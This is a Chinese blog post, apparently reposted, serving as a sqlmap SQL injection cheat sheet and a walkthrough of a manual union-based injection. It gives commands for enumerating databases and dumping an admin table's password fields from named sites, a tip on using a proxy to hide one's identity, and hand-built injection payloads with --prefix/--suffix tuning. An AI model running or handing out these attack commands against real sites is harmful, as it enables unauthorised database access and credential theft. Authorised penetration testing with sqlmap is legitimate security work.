sqlmap是一个灰常强大的sql注入检测与辅助工具,但是由于没有图形界面,基本上用起来比较麻烦,导致很多人可能宁愿用havij或者是pangonlin也不愿意麻烦去翻帮助界面,我自己也是把很多语句贴到了一个记事本里面用,其实真正用起来也就5,6句,也不会太复杂,下文以php+mysql为例:
- 检查注入点 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11
- 列数据库信息 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 –dbs
- 指定库名列出所有表 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 –tables
- 指定库名表名列出所有字段 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin –columns
- 指定库名表名字段dump出指定字段 sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password –dump
有几个参数可能会用到,直接加在最后面就可以了,更多详细参数见官方文档:
- –cookie=COOKIE 在需要登录的地方,需要登录后的cookie
- –proxy=”http://127.0.0.1:8087″ 使用HTTP代理隐藏自己的身份,比如使用goagent等
- –sql-query=QUERY 执行一个sql语句,不一定支持
过程的几张图如下:
自定义sqlmap注入语句进行高级注入
现在能够帮助我们进行sql注入检测的工具越来越多,但我认为,通用性最强的还是sqlmap,其他工具在灵活性上远远不及sqlmap。sql注入有许多类型,其中最喜欢的当然是能够union查询的,比blind类型的不知道爽到哪里去了。 现在有一个url已知存在sql注入漏洞,我们丢到sqlmap里面,跑一下,结果是这样的
sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p ppid
很明显,是一些比较恶心的注入类型,bind和error-based,难道我们就只能听工具的了么,我们手动来看一看。sq报错如下
MySQL Error Message: MySQL Query Error SQL: select ..... and pass=0 and (c.catid=2' or c.parentid=2') and subject like '%%' Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or c.parentid=2') and subject like '%%'' at line 4 Errno.: 1064 Click here to seek help.
报错显示,这里懂sql语句有点复杂并且不是常规懂类型,需要闭合括号还有最好屏蔽掉后面的like语句,构造一下
http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) order by 15 -- http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) order by 16 --
order by确认了查出来懂总共16条,那么,继续试试
http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) and 1=2 union% select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --
手工确认之后,使用sqlmap来继续进行,我们需要用到sqlmap的两个选项,suffix和prefix,添加以下语句的前缀和后缀。
sqlmap -u "http://www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2" -p catid --suffix=" -- " --prefix=")"
转载请注明:jinglingshu的博客 » sqlmap注入常见用法一条龙